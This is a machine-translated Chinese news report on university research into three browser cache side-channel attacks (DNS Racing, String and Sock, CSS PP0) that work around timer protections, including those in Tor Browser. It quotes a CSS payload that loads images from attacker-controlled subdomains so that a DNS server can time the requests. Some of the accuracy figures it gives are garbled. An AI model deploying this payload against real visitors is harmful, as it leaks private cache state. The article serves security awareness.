來自美國、以色列和澳洲幾所大學的研究人員團隊開發了三種在網頁瀏覽器上運行的攻擊,以提取有關處理器快取內容的資訊。 一種方法適用於沒有 JavaScript 的瀏覽器,另外兩種方法則繞過現有的側通道攻擊防護方法,包括 Tor 瀏覽器和 DeterFox 中使用的方法。 用於演示攻擊的程式碼以及攻擊所需的伺服器元件已發佈在 GitHub 上。
為了分析快取的內容,所有攻擊都使用 Prime+Probe 方法,該方法涉及用一組標準值填充緩存,並透過在重新填充時測量對它們的訪問時間來檢測變化。 為了繞過瀏覽器中存在的干擾準確時間測量的安全機制,有兩種選擇:向攻擊者控制的 DNS 或 WebSocket 伺服器發出請求,該伺服器會記錄收到的請求的時間。 在一個實施例中,使用固定的DNS回應時間作為時間參考。
使用外部 DNS 或 WebSocket 伺服器以及基於機器學習的分類系統進行的測量足以在最佳場景(平均 98-80%)下預測準確度高達 90% 的值。 此攻擊方法已在各種硬體平台(Intel、AMD Ryzen、Apple M1、Samsung Exynos)上進行了測試,並證明是通用的。

DNS Racing 攻擊的第一個變體使用 JavaScript 陣列的 Prime+Probe 方法的經典實作。 差異歸結為基於外部 DNS 的計時器和 onerror 處理程序的使用,當嘗試從不存在的網域載入映像時會觸發該處理程序。 外部計時器允許對瀏覽器進行 Prime+Probe 攻擊,從而限製或完全停用對 JavaScript 計時器的存取。
對於位於同一乙太網路上的 DNS 伺服器,計時器的精確度估計約為 2 毫秒,足以進行旁路攻擊(作為比較,Tor 瀏覽器中標準 JavaScript 計時器的精確度為減少至 100 毫秒)。 對於攻擊,不需要控制 DNS 伺服器,因為選擇了操作的執行時間,以便 DNS 的回應時間作為檢查提前完成的標誌(取決於是否觸發了 onerror 處理程序)或早或晚,對快取檢查操作的速度得出結論)。
第二種攻擊方法「字串和套接字」(String and Sock)旨在繞過限制 JavaScript 底層陣列使用的安全措施。與使用陣列不同,「字串和套接字」利用對超長字串的操作,字串的長度經過精心選擇,足以覆蓋整個 LLC(末級快取)。然後,使用 `indexOf()` 函數在字串中搜尋一個原本不存在於原始字串中的小子字串,這意味著搜尋操作遍歷了整個字串。由於字串長度與 LLC 快取的大小相對應,因此掃描操作無需操作陣列即可進行快取檢查。為了測量延遲,DNS 查詢被替換為對攻擊者控制的 WebSocket 伺服器的呼叫。在搜尋操作前後都會發送請求,並根據請求結果進行測量。 服務器 計算用於分析快取內容的延遲。
「CSS PP0」攻擊的第三種變體透過HTML和CSS實現,即使在停用JavaScript的瀏覽器中也能正常運作。此方法類似於「String and Sock」攻擊,但並不依賴JavaScript。此攻擊會產生一組CSS選擇器,這些選擇器透過遮罩進行搜尋。首先,攻擊者會建立一個帶有超長類別名稱的div標籤,用於填充快取的初始長字串。然後在該div標籤內嵌套一系列具有各自ID的div標籤。每個巢狀的div標籤都定義了自己的樣式,並使用一個搜尋子字串的選擇器。頁面渲染時,瀏覽器首先嘗試處理內部的div標籤,這會導致在長字串中執行搜尋操作。此搜尋操作使用一個明顯不存在的掩碼,並遍歷整個字串,之後觸發「非」條件,嘗試載入一個引用隨機元素的背景圖像。 域: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X …
子網域由攻擊者的 DNS 伺服器提供服務,該伺服器可以測量接收請求的延遲。 DNS 伺服器為所有請求發出 NXDOMAIN 並保留請求的確切時間的日誌。 處理一組 div 後,攻擊者的 DNS 伺服器會收到一系列請求,這些請求之間的延遲與檢查快取內容的結果相關。

來源: opennet.ru
